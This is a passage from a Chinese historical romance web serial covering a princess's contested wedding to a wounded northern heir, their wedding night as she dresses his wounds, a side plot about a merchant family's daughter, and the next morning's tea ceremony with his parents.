鸾仪卫们为难地彼此对视一眼,他们早得了吩咐,无论遇到什么情况,都不得把剑对准百姓,是以只能尽力将喜轿围护住。 幸而郡主似乎早预料到了今日的情形,并未将嫁妆尽数搬离王府,送亲队伍只有八抬充个数,他们几个人尚护得过来。 “她害死了王爷,竟全无悔改之意!连喜轿都不出!王妃不好出面,我们一定要将她赶出去!快上,将那喜轿抢了!” 有人隐在人群中振臂一呼,激愤的百姓顿时冲上去拨开不敢拿剑对着百姓的鸾仪卫,试图抢走喜轿。 队尾的两名鸾仪卫飞快循声锁定了扬声挑拨的那道身影,两人对视一眼,悄无声息地追着那道没入人群的身影而去。 剩余的鸾仪卫被围拢的百姓步步逼退,为难得满头大汗。 “都住手!” 伴着一声轻叱,一支羽箭破空而来,钉在喜轿边沿,阻了摸到喜轿一侧的百姓。 百里浔舟单骑踏尘而至,他一身染满血色的轻铠,身背长枪,右手还保持着张弓的姿势。洒落的日光铺在他身上,描摹出天神降临一般的金边。 “世子?是世子殿下!他好像没、没重伤啊……” 百姓们欣喜若狂之余,也有些惊疑不定,世子这策马奔腾的精神头,实在不像是重伤的样子啊。 百里浔舟扬了扬眉,“看本世子无碍,你们很失望?” 百姓们忙将头摇出残影,他们巴不得世子平平安安,一事无虞。 只是……“王爷呢?王爷可、可平安啊?” 他们翘首往百里浔舟身后看,却什么人影也没瞧见。 “父王无事。此番多亏郡主派出鸾仪卫相救,否则我与父王皆是凶多吉少。”百里浔舟特意隐下了母亲私自调动守军的事,朗声道“父王如今正在王府等着我携新妇相拜。诸位,让个道吧。” 百姓们忙不迭地向两侧分开,尴尬地把头上的白花摘了下来。世子和王爷无事,他们这般打扮却是晦气了。 众人同时不安地偷偷觑向喜轿,嘀咕着:“竟是郡主救了世子?我们岂不是错怪郡主了?” “咱们在人家大婚之日,弄得满街缟素,还洒纸钱……” “哎呀呀,完了完了!这可如何是好!” 百里浔舟策马到喜轿边,两侧狼狈的鸾仪卫劫后余生般向他行礼,他们从没有哪一刻这么高兴看见这位世子殿下。 百里浔舟微微俯身,隔着喜轿与封眠说话,“郡主莫怕,已无事了。” 轿内无声,百里浔舟正困惑着,又凑近了两分,“郡主?” 这时忽听一旁的百姓中有人十分刻意又想装不经意地大声跟周围的百姓解说—— “你们只听到了人家说郡主是刑克六亲之命,却没听全啊!后头还有一半呢,说咱们世子爷是郡主的‘解厄星’,郡主与世子乃是天作之合,凑在一处便能逢凶化吉,福荫绵长!” 又有人附和道,“郡主也是个可怜人,刚出生便没了母亲,父亲又早丧,但与咱们世子在一起,她就能化危为安。如今不就是她救了世子一命!咱们都应该谢过郡主!” “还应向郡主道歉!”阿好忽然朗声道,当先跪了下去,“都怪我听信了传闻,不去证实一番便信以为真,害得大家跟着一起将此事当了真,误会了郡主,都是我的不对,请郡主责罚!” 周围百姓跟着哗啦啦跪了一片,各认各的不对,最后落在一句“请郡主责罚!”上。 喜轿内仍是没有动静,百里浔舟奇怪地望向轿帘,一名鸾仪卫上前挡住 了他的视线,清了清嗓子,道:“乌龙一场,郡主说了,此事乃有心人挑拨,怪不得诸位。再耽误下去,吉时就要过了,不若先启程吧!” 众人听了先是一惊,左右瞧瞧谁是那有心之人,接着又是一惊,忙不迭跳起来,四散去撤了两旁街上的白灯笼和缠挂的素白麻布。 “世子,咱们快走吧。” 在鸾仪卫的催促中,百里浔舟骑马行在送亲队伍最前方,向王府行去。 他怕是古往今来第一个穿一身染血轻铠来迎亲的新郎。 喜轿一路往前,百姓也一路拆白幡,就这样一路到了王府门口。 百里浔舟正欲下马去接新娘下轿,视线滑过王府门口,猛地呆住。 只见王妃牵着一身吉服的新娘子就站在王府门口,正笑盈盈望着他。 百里浔舟:? 百里浔舟往身后喜轿看了一眼,这才意识到之前感觉到的奇怪之处是喜轿内根本空无一人。 郡主怕是早就金蝉脱壳,跑到王府来了。 很好,她应也是古往今来第一个不等迎亲,便自己跑到夫家的新娘子。 难怪迎亲队伍根本没去郡主府,他就说母亲并不是会任由郡主受刁难的性子。喜轿只是出来吸引众人耳目的障眼法。 喜娘将编织有同心结的红绸牵斤将喜绸递到封眠和百里浔舟手中,两人牵着一根红绸,踩在铺的似乎望不到头的红毯之上,迈入了侯府。 封眠微微垂着眼,看着红盖头下小小一方天地,婚鞋鞋尖上缀着的拇指大的洞珠在缀满米珠流苏的裙摆下忽隐忽现,漾出月华似的流光。 她的心情忽地明媚起来,她没想到世子会这么及时地赶到,眼下的局面显然已倒向了她这一边。 耳边响起喜娘的的声音:“跪——” 喜绸另一端向下一沉,封眠跟着跪了下去,随着喜娘的声音,一拜天地,二拜高堂,夫妻对拜,直到最后—— “礼成,送入洞房!” 第30章 跃动的红烛映着满堂锦绣,封眠端坐在紫檀木拔步床上,身下铺着百合花纹银红缎被,她抬手揉了揉被凤冠压得生疼的脖颈,另一只手同时摸了摸饥肠辘辘的肚子。 这一日奔波折腾,忙着成婚的仪礼,一粒米都还没来得及吃,雾柳给她备下的点心也落在外头了,现下她全无自己刚刚成了一场婚的紧张羞涩,只觉得饿得有些发慌了。 此时房门被吱呀一声推开,封眠忙招了招手,“流萤?还是雾柳?桌上有吃的没有?我好饿呀。” 她话音刚落,一碗热腾腾的馄饨便被递到了盖头底下。 “哪来的馄饨?”封眠惊喜地就伸手去接,面前人却不松手。 “坐在床边吃多有不便,去桌上吃吧。”百里浔舟清清朗朗的声音忽然响起。 封眠一怔,这才注意到端着碗沿的手骨骼分明,修长有力,并非女子的手。而自己的指尖正与他的指骨相碰,她仿佛被烫到一般飞快地缩回了手。 “世子怎么来了?” 这两日闹了这样一桩乌龙,许多宾客一开始都没敢来参加婚宴,仪式成了之后才陆续有听到风声的宾客快马赶来,她以为今日百里浔舟要在前院待客到很晚。 红盖头遮住了封眠的大半视野,她垂着眼只能看见百里浔舟一点鲜红的袍角,猜测他应是已被带去换上了吉服。 那片袍角很快离开了视野,脚步声渐远,接着便是瓷碗搁在桌上细微的磕碰声。 百里浔舟一面将盛有馄饨的碗搁到桌上,一面答道:“他们太闹了,我来清静清静。” “母亲说你应该还没用饭,让我给你带了碗馄饨。” 原来是王妃提醒的,她就说嘛,百里浔舟可没有这么体贴。 封眠正打算自己揭了盖头过去吃馄饨,那边百里浔舟看她久坐不动,也想起来盖头还未揭,便起身一个箭步冲到榻前去揭盖头。 两人的手碰到了一处,恰好一起将盖头掀开了。 封眠眼前先是看见一截玉带束出的劲瘦腰肢,再抬眼往上,便看见一张被大红喜袍映衬得格外清俊明丽的脸,眉目如画,狭长的眼眸漆黑深邃,眼尾略弯,带着几分少年人的意气张扬。高挺的鼻梁上有一点痣,显得五官骨感更强,愈有韵致。 百里浔舟漆黑的眼眸亦落在封眠的脸上,她今日盛妆,摇曳的烛影映着嫣红的脸颊,宛若枝头初绽的桃花。长睫如蝶翼在眼下投下一片淡淡的影,杏眸盈盈似水,乌黑的瞳仁灵动非常。小巧精致的鼻头下,涂着胭脂的饱满双唇如玛瑙娇艳。 她满头的乌发皆被凤冠束起,露出修长如玉的脖颈,大红的嫁衣愈发衬得肌肤细腻如瓷。 灯下看美人,难免令人失神。百里浔舟尚未反应过来,封眠已自然地顺着他的力道揭下了盖头,冲他嫣然一笑,“多谢世子了。” 封眠是真的饿了,也不讲究什么贵女仪态了,环佩叮咚地小跑了两步,在桌前坐下,先美美地喝了一口热汤,舒服得眼睛都眯了起来,小动物一样柔软可爱。 对面的光忽然一暗,百里浔舟坐了下来,看她这幅被一碗简单的小馄饨勾得失了魂的模样,不由拧了拧眉,“你那两个丫鬟怎没给你带些吃食垫垫?这会儿不担心你饿到生病了?” “备了些点心的,只是你出现得突然,要去王府门口迎你,便忘记带在身上了。”封眠咬了一小口馄饨,细嚼慢咽吞入腹中才回答百里浔舟的话。虽是饿极,多年来的习惯还是让她小心看顾着自己的胃,没有一口气吃太大口。 说到此事,百里浔舟忽然好奇:“若我没回来,你要如何拜堂?” 封眠开始吃第二颗小馄饨,在间隙中回答:“王妃说,她可以亲自抱着公鸡代你拜堂。总之这亲事定是能成的。” 百里浔舟:“……” 当真是他的好娘亲。 但不得不说,他非常理解母亲为何喜欢郡主。先不说她生得一副讨人喜欢的乖巧面容,便是她的脾性也是难得的伶俐,既聪颖有胆气,又十分有决断,寻常人谁也不会因一次噩梦,便雷厉风行地设张举措,还能果断地说服母亲一同调兵驰援。 思及此,百里浔舟蓦地起身,郑重向封眠鞠了一躬,“还未多谢你派人相救之恩,否则我与父王恐怕很难平安。我欠你两条命。往后若有需要相助的地方,你尽管与我提。” 封眠吃了小半碗馄饨,已有些饱了。晚膳吃到七分饱方为养生,她便搁了勺子,起身扶了百里浔舟一把,略狡黠地一笑,“你我如今都是拜过堂的夫妻了,你便是不欠我两条命,我也不会与你客气的。” 她怎么就这般轻轻松松地将这种话说出口了? 百里浔舟呆了一呆,一时都忘了自己还要说什么。 这当口,封眠的视线在百里浔舟身周转了一圈,“对了,鸾仪卫他们是何时到的?你有没有受伤?可请大夫瞧过了?” “请什么大夫?鸾仪卫到的及时,我自是毫发无损的。” 百里浔舟语调轻松,封眠却注意到他的视线有一瞬闪躲,狐疑地眯眯眼,嘴上却道:“那便好。唔,灯烛好像有些暗了,你去剪一剪烛芯可好?” “好。” 百里浔舟巴不得去做点什么,好能不这么尴尬地站着,熟料他刚一转身,身后封眠便瞅准时机,忽地踮脚拍了下他的肩头。 百里浔舟抑制不住地痛嘶一声,下意识便钳住了封眠的手腕,眉心因吃痛而蹙紧,回首时眼底有一瞬杀意闪过。 待意识到面前人是封眠时,他才略略松了手劲,目光着恼,“你做什么?” “你嘴硬什么?”封眠看清他眼底未散的警觉,撇了撇嘴,略凑近了些,鼻尖恰凑到百里浔舟的肩窝处,果然嗅到了一股极为浅淡的血腥气,“受伤便受伤了,为何不承认?” 两人此时挨得极近,近到百里浔舟呼吸时的热气擦过她的鬓角,能嗅到她发间清淡的甜暖香气。 掌心与手腕交叠之处,热度攀升,脉搏的跳动一下一下鼓动着掌心。 烛光将两人的影子交叠着映在满宿吉祥纹样的十二扇檀木屏风之上,封眠微微仰 首,凤冠垂珠轻晃。 她与他拉开些许距离,杏眸瞪着他,“从落鹰峡回来至少要两日,你不到黄昏便赶了回来,这一路是不是没歇过?伤口可崩开了?重新上药了吗?不对,你上过药吗?” 百里浔舟紧紧抿着唇不吭声。他不大想在封眠这样娇娇弱弱的贵女面前流露自己的脆弱。 鸾仪卫到的时候,他其实几乎已经力竭,身上大小伤口不可计数。但在击退伏兵后,他惦记着成婚的时辰,便将边民交与支援的陆指挥使护送,自己则一路快马加鞭赶了回来,一路上伤口几次崩裂,都被他忍了下来,生怕耽误了时辰。 封眠环顾四周,见窗前设着一张花梨木美人榻,铺有金线密织的软烟罗垫子,立即反手握住了百里浔舟的手腕,将人推到美人榻。 “把衣裳脱了,趴下。” 百里浔舟懵了:“什么?” “给你上药。你上次给我的金疮药,我还没用多少。”封眠见他半晌不动,作势抬手去解他腰间束带,“你不动手,莫不是想让我帮你?” 百里浔舟忙两手捂着束带往后一躲,腿弯却被身下的花梨木美人榻抵住,躲无可躲。他此生还从没这般窘迫过,偏偏又不好在这时候跑出去,若是母亲闻起来,他能如何说? 与母亲说郡主要他脱衣疗伤,他却跑了?看着就好像他害羞了似的,还不如封眠这般女子坦荡,委实有些丢脸。 “我自己来,我……你……”他本想让封眠转过身去,但对上封眠那双圆而清澈的眼,又说不出口了。罢了,上药时她也是要看的。 百里浔舟自行转过身去,修长的手指搭在腰间玉带上,嗒一声解开,大红色外袍滑落,再缓缓解开中衣的系带,布料层层褪下,露出覆满薄肌的上半身,两道狰狞的伤口横贯肩背,皮肉翻卷,伤口已然有些崩裂,鲜血正在缓缓渗出,在苍白的肌肤上蜿蜒出刺目的红。 跃动的烛火照出更加触目惊心一幕,渗血的伤口周遭有数道早已愈合的旧伤疤,遍布肩背腰侧,直没入腰际的阴影里。 这般可怖的伤口定然万分痛楚,但他的脊背却依旧挺得笔直,像是习惯了将所有的脆弱都藏在这副伤痕累累的躯壳之下。 封眠的呼吸停滞了一瞬,眼底被那些伤口刺得生疼,简直不敢想他是如何顶着这样的伤口还能日驰千里,及时赶到云中郡的。 “吓到了?”百里浔舟故作轻松地问。 封眠伸出一根食指戳了戳他的肩头,示意他躺下,“是啊,吓到了。明日我便告诉王妃,你受了这般重的伤还不肯上药。” 百里浔舟顺从地在榻上趴下,忽然意识到自己这样的行为似乎容易引起某方面的误会,当下清清嗓子,正色道:“我之所以急着赶回来,只是不想王府被放在不忠不义的境地。皇命在身,无关风月,还望郡主莫要误会。” 封眠正要涂药的手悬在他狰狞的伤口之上,忽地用力戳了一下伤口边沿,疼得百里浔舟肩头一颤,“呀,手误手误,世子莫要误会。” “我懂你的意思,不过是说你我二人虽有了夫妻之名,但不会有夫妻之情嘛。” 额间冷汗滑过眼皮,打湿了睫毛,百里浔舟不大自在地眨了眨眼,也知晓自己这时候说这种话有些不对,但仍是应声道:“不错,日后郡主若遇倾心之人,大可效仿永宁长公主。我保证,绝不会有人对此多说一个字。” 永宁长公主是嘉裕帝长姐,自驸马故去后,她便四处游历清修,不知结识多少露水情缘。 新婚之夜,做夫君的与妻子说,日后她可随意红杏出墙,豢养面首,当真也是大雍独一例了。 30-40 第31章 红烛哔啵爆了个灯花,封眠在百里浔舟身后没忍住扯了扯唇角。 普天下男子都巴不得自己三妻四妾,却要每一名女子为自己守贞,百里浔舟倒是与众不同,反倒劝她找面首呢,似乎生怕她将一颗心拴在他身上。 可惜她现在的心思还真得放在百里浔舟身上才行,她得看着他不能造反啊。 若她真搬去郡主府,与百里浔舟各过各的去了,说不得哪一日便跟着稀里糊涂地掉了脑袋。一时快活与一世快活相比,作何选择自是显而易见的。 待到确认谋反之事不会再发生,她自然也就能丢开手去快活了。 “世子倒是大度得很,可惜我是个小肚鸡肠的。”封眠细细为百里浔舟上药,这次没有再故意戳痛他的伤口,动作细致小心,“即便有名无实,我也不想被其他夫人小姐们议论丈夫的心不在我身上。” 她无意拢住百里浔舟的心,但若府里多个处处想着接近百里浔舟、针对她的人,才是麻烦。 原来她是如此想的?百里浔舟心下松了口气,又莫名有些气不顺的感觉。 百里浔舟:“这点你大可放心,我现下只愿护北疆安宁。” 封眠:“如此甚好。” 看他这副不开窍的模样,短时间内怕是真的生不出什么红袖添香的心思来。只要平安度过了承平二十年的冬天,大不了便是一别两宽,各生欢喜。 两人之间一时静了下来,封眠将药涂在创口上时,便见百里浔舟颈后青筋隐隐,脊背绷出弓弦般的弧度,细密的汗珠布满了背,呼吸也有一瞬的急促,显然在努力忍痛。 她便又寻了个话题与他闲聊,试图帮他将注意力从痛苦上转移,“其实我也要谢你,若不是你来得及时,百姓们定还要再狠狠将我骂上几日。送亲的鸾仪卫怕是也要真的挨上两拳了。” 这话让百里浔舟忽地想起什么,“混在百姓中喊话的那些人,是你安排的?” “嗯。九哥之前与我说,花楼中有人在传我刑克六亲的命理,当时我便觉得不对劲,本已托了陆鸣竹过几日去探一探。结果前几日忽然梦见你和王爷出事,心中不安,便让陆大人提前去花楼散播了一些消息。” “本打算浑水摸鱼,像那些有意针对我的人那样,循序渐进地将你我是天作之合这个念头种到百姓心里去,以破此局。没想到世子回来得这般快,陆大人安插在人群中的钉子便顺势喊话,恰好便让大家听进去了。” “为此,你不惜自揭伤疤?” 百里浔舟想到听见百姓们说她父母皆亡那一瞬间的心颤,此前他并非不知她的身世,可在听百姓们口中议论时,方才真切感受到那是如何沉重的事实。 “早已习惯的事,算不得伤疤。”封眠神色淡淡的,仿佛真的未将此事放在心上一般,“如此一来,今日之前有多痛恨我之人,心中便会有多愧疚,日后再面对此类谣言,想来也会权衡一二,对我也不会像以前那般排斥了。” 百里浔舟:…… 好会利用人心,到底还是心眼子多的盛京人。 “这命理之说应当是真的吧?我听闻陛下极宠爱你,却肯将你嫁到北疆来,想来想去,也只能是为你化灾解厄了。” “世子聪慧。” 百里浔舟忽然看到了希望,勾了勾唇,道:“既然如此,日后郡主若是成功改命,我是否便可功成身退了?” 他倒是不信这些鬼神命理之说,可架不住别人信。若这就是赐婚缘由,那他脱身有望了! “理论上来说,不错。世子若想心想事成,最好是能日日为我祈祷,事事以我为先,争取早日助我改命啊。” 既然这么想和离,总要付出点什么不是? 百里浔舟只觉人生有了盼头,应道:“自然,都听你的。” 封眠弯了弯唇,又道:“对了,鸾仪卫去抓了一个当先挑动百姓抢喜轿的人,花楼那边也盯住了几个比较可疑的人。明日世子殿下要不要去 审一审?” 百里浔舟挑了挑眉,显是没想到封眠连人都抓住了,“自然。正好我在落鹰峡也抓了几个活口。” 他思索了下,想着封眠都如此坦诚了,他也不应有所隐瞒,便道:“诱我进落鹰岭的是乌赫族人,但两边埋伏的却是哲兀尔部的人。北夷众部,恐怕有重新合作的苗头了。” 听闻此言,封眠心中一惊,指尖不自觉用了些力,便听百里浔舟轻嘶一声。她吓了一跳,忙道歉:“对不起对不起。” 情急之下,她向前微一倾身,冲方才戳碰到的伤口处呼了呼气。 微暖的气流轻飘飘地落在伤口处,引起一阵酥麻的战栗。 百里浔舟几乎将脸埋进软榻里,腰腹向下一塌,欲躲非躲的样子,说话时带出些咬牙切齿的意味:“好了别吹了,痒得很。快些上药吧。” 窗上伏下去的身影复又立起,洒落的月华落在窗纸上,细细勾勒着两道身影。 院落一角,王爷和王妃携手静立,遥遥望着挂满红绸的新房。 王爷撇嘴一笑:“我就与你说了,阿琢惯是个嘴硬的,说退婚说得狠,真到了这时候,绝不会给郡主没脸。” 王妃斜他一眼,“就你看得明白。我是担心孩子们心中都不痛快,万一生了口角就不好了。” “现下放心了?人两个相处挺好的。走走走,快回去了,我伤在腰上,大夫说了不能久站。” “我也没让你陪着,谁让你非跟来的?现下倒嚷得欢了。”王妃嘴上嗔怪着,却乖乖跟着走了,一手护在他腰上,心中也是心疼。 丈夫与儿子哪一个出事她都将痛不欲生,好在有封眠,助他们避了此番祸事。 定北王府何德何能,竟娶了这样一个好儿媳。 定北王府张灯结彩,筵席未散,元府的老爷夫人便已带着长子先行离席,回府休憩,只道家中三姑娘染了风寒,放不下心,要回家瞧瞧。 待进了元府的大门,元夫人脸上的笑便垮了,露出几分刻薄之色来,“三丫头可真是的,往日里一副能攀上王府高枝的模样,如今怎么着?人家世子爷扭头娶了郡主,连个眼风都没给她。” “以前那些商户妇人知道三姑娘跟王妃走得近,都还明里暗里地奉承着我。今日就改拿话刺我了。她倒是好,称病不去了,留咱们一大家子在里头丢人!” “母亲莫气,以三妹妹的出身,想做世子妃本就是不大可能的事。不过日后说不得也是有机会做个侍妾的,照样能入得了王府。”元亮搀着元夫人转过回廊,口中轻描淡写地谈着让妹妹去给人做侍妾一事,混不在意妹妹的命运。 “侍妾?呵,王妃眼里头可容不下这种东西。”元夫人说来又羡又妒,北疆不如王爷这般位高权重的贵人们府里头都是各种妾室、如夫人,偏王爷是个衷情的,后院只得王妃一个,不知艳煞多少夫人。 她偏头去瞧身侧默不作声的元老爷,“老爷,三丫头的婚事可得抓紧相看起来了。她是个心大的,回头再闹出点什么事来,影响我们四姐儿的前程。” 元老爷点了点头,“你看着办吧。挑几个家世殷实的瞧瞧,这两年药材生意不好做。” 言下之意便是要找那等等扶持元家一把的亲家。 元夫人笑吟吟地应了,“老爷放心,我心中有数的。前几日我才见过那刘员外,他续弦刚走,正想着再娶一个……” 絮絮语声渐行渐远,消失在回廊尽头。 廊下草药花木中走出一个人来,元寄雪手中捧着刚从园中采的草药,目光锐利地瞪着元夫人消失的方向。 那刘员外如今六十有二,半截身子入土的人,却是他们眼中为她寻觅的良缘? 失望和愤怒积累的太多,元寄雪只片刻便神色如常,将草药用手帕包起来放入怀中。 她站在原地愣了片刻,想了想,还是往元府边门行去。 此刻的边门静悄悄的,值守的小厮都去隔壁讨喜酒去了。元寄雪推开边门,就这么在门槛上坐了下来。 几步之外便是结彩悬灯的王府,依稀还能听见几许欢声笑语。 元夫人说得不错,她曾经确实渴望嫁入王府,对她来说,王府远比元府像是一个家,王爷、王妃和世子,每一个人都会关照她。世子哥哥还会帮她打跑那些欺负她的人。 跟各个把她当作工具的元家人来说,她更想选择王府的人作为家人,这有什么错? 有脚步声接近,两个人影从王府走了过来。 元寄雪心中一惊,往门板后躲了躲,却听见了世子的名字。 “你也都瞧见了,百里世子平日里待郡主一点也不上心,日后郡主若是受了委屈可怎么办?”陆鸣竹双颊双目都红得像烧着了一般,显然是喝多了,一旁陆指挥使搀着他,也是脚步踉跄的模样。 陆指挥使:“哎呀,你第一天知道吗?自古皇室招婿多怨偶嘛!” 元府边门,元寄雪心头一跳,若世子哥哥和郡主本就是一对怨偶,那她未必没有机会…… “不行!”那头陆鸣竹听了陆指挥使的话,咻地扭头,非常不赞同地盯着陆指挥使,“不行,郡主得幸福才是!” “那谁说不是呢?郡主金尊玉贵的,还有那么大一个郡主府,换我我也很幸福。”陆指挥使听话听一半,牛头不对马嘴地回话。 “你说,郡主是怎么看世子的?她跟世子到底能不能和和美美的?”陆鸣竹拧着眉毛,仍然执着地揪着陆指挥使问。 陆指挥使像模像样地思考了半天,一把抓住陆鸣竹的手,“能的兄弟,能的!我算是见识到世子上阵杀敌的英姿了,有他在,咱北疆、大雍的百姓,那绝对能和和美美的!” “跟你说不明白!”陆鸣竹气得甩开陆指挥使,大步往前一走,脚下蓦地踩上一粒圆溜溜的小石子,砰一声就砸地上了。 陆指挥使茫然地左右瞧瞧,“陆大人?陆兄?人呢?气性这么大,咋还说走就走呢。” 他说着往前迈步,被陆鸣竹绊了一个踉跄才看见他,当即蹲到他面前,“陆兄,你趴这儿看什么呢?” “郡主……你说郡主她……”陆鸣竹仍呢喃着。 陆指挥使不敢置信地满地摸过去,“哪儿呢?郡主在哪儿呢?你别吓我!” 元府边门,目睹了一切的元寄雪:“……” 她满心悲伤和筹谋都这两个醉鬼扰没了,罢了,赶紧喊人来送他们走吧—— 作者有话说:元不是恶毒女配人设,请放心~ 第32章 新婚第二日按例要在卯时到辰时间,去向公婆请安敬茶,不过王妃一早便了人来交代,王爷和世子都有伤在身,需要多休息,敬茶的事巳时再说。 于是到了天光大亮时,封眠还在梳妆镜前妆点。 百里浔舟早便百无聊赖地等在门口,他着一身靛蓝圆领袍,腰束玉带,佩着绣双喜字的荷包,格外简洁清爽。 他倚在门板上,手中拿着平日里把玩的飞镖,有一下没一下地射着门上的靶子。 他这间卧房已被母亲改的面目全非十分陌生,以往他一人住时,只有一张床和书案,墙上挂着他收藏的剑戟,空荡冰冷的跟营房没什么两样。 如今四处皆布满了细巧的装扮,纱帘幔帐层叠,一架十二扇屏风隔出寝间来,又摆上了一面螺钿镶嵌的梳妆镜,女子的首饰胭脂在梳妆台上逐样排开,空气中都散发着淡淡的馨香。 唯有门边还给他留了个平日里爱玩的飞镖靶,让他知道母亲还没有娶了媳妇忘了儿,心中尚有他一席之地。 雾柳最后为封眠调整鬓间的赤金嵌宝头面时,流萤来报说王爷和王妃也已梳洗完毕,可以过去请安了。 封眠便拎着裙摆起身,慢吞吞地挪到了百里浔舟身边。 昨日凤冠压得她脖颈痛,睡了一夜醒来还是有些发僵,但礼不可废,今日也不能梳个轻省些的发式,还要戴上王妃送的赤金头面,现在只能梗着脖子硬撑。 幸而昨日睡得还算不错,头脑不昏沉。 百里浔舟倒是有一点好,他不打呼噜呀。 成婚前,封眠听一些嬷嬷 私下抱怨过夫家夜里打呼震天响,吵得人睡不着,她还很是担心了一番。 昨夜百里浔舟板板正正地躺在床边,封眠睡在最里面,两人中间就跟隔了条银河似的。 封眠还担心若是百里浔舟夜半打呼吵得她睡不着,她要不要把人叫醒?听说习武之人夜里都十分警觉,她若是去叫他,会不会被不分青红皂白地打上一拳? 担心了半宿,就听着身旁人平稳的呼吸渐渐睡了过去,一觉到天明。 百里浔舟瞥见封眠过来,将手中最后一枚飞镖随手扔到靶子上,站直身子,言简意赅问道:“走?” 见封眠点头,扭头便要走,却被拽住了袖角。 他纳闷地回头,便见封眠端端正正地站在门口,朝他伸来一只手。 什么意思? 他看一眼伸到自己面前的那只手,白嫩修长,指尖蔻丹娇艳,是一双很漂亮的手。又抬眼看封眠,便见她微微歪了歪头,扬扬下巴遥遥点了下自己的手,示意他牵住自己的手。 她今日梳上了妇人的发髻,发饰繁复精致,项间佩彩釉铃兰珍珠璎珞,贵气又清丽,微微侧首时又俏皮得像邻家小姑娘,多了几分鲜活气息。 百里浔舟垂在身侧的手顿时僵住了,有些为难:“有必要吗?” “新婚夫妻哪里有各走各的道理?昨夜世子殿下不是说你我未和离之前,都听我的?出行在外,总要给我这个正头娘子一些面子吧?”封眠将手又往前伸了伸,示意此举很有必要。 他昨晚,好像确实这么说了。 当真是被“和离”的希望冲昏头脑了。 百里浔舟有些不大情愿,但被封眠一双清溪般的眼眸催促地盯着时,他还是迟疑地伸出了手。 指尖刚刚碰到手心,便被封眠主动握住了。 封眠心满意足地牵住人往前走,力图让路过左右的下人们都看清二人相牵的手。 她其实诓他来着,新婚夫妻牵着手去拜见公婆的才是罕有。 她不过是想营造一种假象。若百里浔舟身边的人看见了,定会觉得她这个世子妃很得世子的欢心,对她的防备自然会少些,更方便她监视百里浔舟。 天气日渐暖了起来,王府中被精心侍弄的花草生得繁茂,封眠和百里浔舟二人穿行其间,如一双璧人。 百里浔舟的手拿过枪执过剑,还从没牵过过女子的手,只觉手掌相触的地方皆软得像豆腐,自牵上之后他便像失去了一只手一样,动也不敢动一下,生怕将人握疼了。 一路上他全身的感官几乎都集中在掌心,紧张得都快出汗了,好容易终于熬到了正堂,见着父母那刻,他终于忙不迭地松了手,悄悄呼了口气。 眼瞧着两个孩子牵着手进来,王妃眼前登时一亮,接着就见百里浔舟如蒙大赦般松了手,和封眠一起给自己和王爷见礼。王妃只能给自家儿子投以“真没出息”的一瞥。 转眸看向封眠时,王妃脸上重又挂上了温柔的笑,招招手让她上前来,“好孩子,快过来。” 封眠上前两步,有丫鬟端来茶盏,她双手接过,跪下道:“请王妃娘娘用茶。” 王妃接过茶轻轻抿了一口,就忙将封眠扶起来,“既已是一家人了,不必如此生分,是时候改口了。” 封眠怔了怔,“母亲”二字于她而言是极为陌生的字眼,每年只有在母亲忌日时,她才会对着牌位在心中念上几声,此时此刻一时竟不知如何张口。 她抿了抿唇,在王妃期待的注视中,终于张口轻轻喊出声:“母亲。” “哎,乖孩子。”王妃应得干脆,笑弯了眉眼。她褪下腕间玉镯,戴到封眠的手上,“这是自我外祖母那辈传下的玉镯,如今便传与你了。” “多谢母亲。” 封眠心口热乎乎的,未多推辞便收下了,又接着端茶盏向定北王敬茶,“请父亲用茶。” 平日里府上只有个犟儿子与自己顶嘴,定北王见了乖乖巧巧的新儿媳,心下也是欢喜,忙不迭应了,拿出一包红封递与她,“听说你很是喜爱经营铺子,我与你母亲便挑了几家给你。” “多谢父亲。” 谁会嫌自己名下的铺子多呢?封眠欢喜地将红封细细收好。 王妃拉过她的手,轻轻拍了拍,细心关切道:“昨夜休息得可好?阿琢没欺负你吧?” 一旁王爷投来不解地一瞥:昨夜是谁扒窗户边偷看的?有必要再问一遍吗? 王妃一个眼风也没给他,只笑盈盈地等着封眠回答。 私底下悄悄偷看又不是什么能上得台面的事,自然还是当面关切一番,才能让媳妇儿知道他们的心意和立场。 封眠摇了摇头,道:“世子殿下挺好的。” 目前看来是个爱民的好世子,并且坚持不懈地想要与她和离。 “阿琢若是欺负你,你就告诉我与你父亲,我们都为你撑腰。”王妃充分表明自己完全站在封眠这一边,接着问道:“对了,不知你的乳名叫什么?” “我生于小满那日,所以乳名便是小满。” “自然简朴,是个好名字。日后我便唤你阿满可好?”王妃心中暗暗盘算着,“满”有圆满丰足之意,亦有包容之感,“琢”字取雕琢锐意,如此瞧来,两个人连乳名都这般相配。 封眠自无什么不可,阿满听起来还更为亲昵一些。她与封眠一道陪着王爷和王妃用了早膳,看得出来府上的厨子已完全了解了她的喜好,早膳中有一半都是她平日里爱用的。 再加上王妃时时看顾她,又一脸慈爱地看着她用饭,她不知不觉便吃多了,扶着腰出的门,被雾柳喂了粒消食的丸药。 百里浔舟走出正院的门才感觉身上一轻,这一顿饭吃得他如坐针毡,父亲母亲时不时便瞧他两眼,盯着他照顾新妇。 父亲还做出一副温文儒雅好大爹的模样,不许他吃得太快,要细嚼慢咽,要陪在桌旁坐着。天晓得往日他们父子二人都是比谁吃得更快。 就装吧,看他能装几顿饭。 “我就不送你回去了。”百里浔舟在院门口与封眠道别,“鸾仪卫捉住的那几人,让他们一并送到地牢来。” 他说着转身便走,身后却传来亦步亦趋的脚步声。 他回首,见封眠跟在自己身后。 百里浔舟:“你也要去?” 封眠理直气壮地瞧着他:“人是我派人抓来的,我当然要去听听看他们为何针对我。” “牢狱之地血腥,你往日想来也未见过刑讯,身子骨又弱,若是被吓病了,我可不好交代。” 封眠既然决定了去,自然是做好了准备,再说她也并非没见过血腥的场面。 “我心中有数的,世子殿下放心吧” 封眠铁了心要去,百里浔舟阻拦不过,只能看她上了马车。 山衣牵马过来时,他还对着马车叹气。 山衣凑过来幽幽地问:“世子,咱还和离吗?” 百里浔舟一脸“你在问什么废话”的神情看他。 山衣解释道:“府上如今都传遍了,说您与世子妃就连去见王爷和王妃都要牵着手,黏糊得很,可见这新婚一夜感情定是突飞猛进……” 百里浔舟听得这一句话耳朵便红了,也不知是羞得还是气得,他低低骂了一句,道:“成日里没旁的事做了?连本世子的舌根都敢嚼?” 山衣一脸无辜:“府上就这么几个主子,不嚼您的嚼谁的?也没人关注属下的感情生活啊……” 他被百里浔舟瞪了一眼,缩缩脖子,不敢再说了。 不过听山衣这么一说,百里浔舟倒自觉想明白郡主为何执意要与他牵手了,怕不就是为了让大家觉得他们感情很好吧? 当真是好面子。 百里浔舟可以不去管旁人说些什么,但跟自己的近侍却是要 